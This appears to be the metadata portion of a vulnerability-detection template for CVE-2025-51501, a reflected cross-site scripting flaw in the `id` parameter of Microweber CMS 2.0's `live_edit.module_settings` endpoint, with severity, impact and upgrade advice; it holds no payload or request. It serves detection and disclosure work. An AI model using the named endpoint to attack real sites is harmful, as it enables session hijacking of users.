Microweber CMS2.0 - Cross-Site Scripting

id: CVE-2025-51501

info:
  name: Microweber CMS2.0 - Cross-Site Scripting
  author: nukunga
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
  remediation: |
    Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
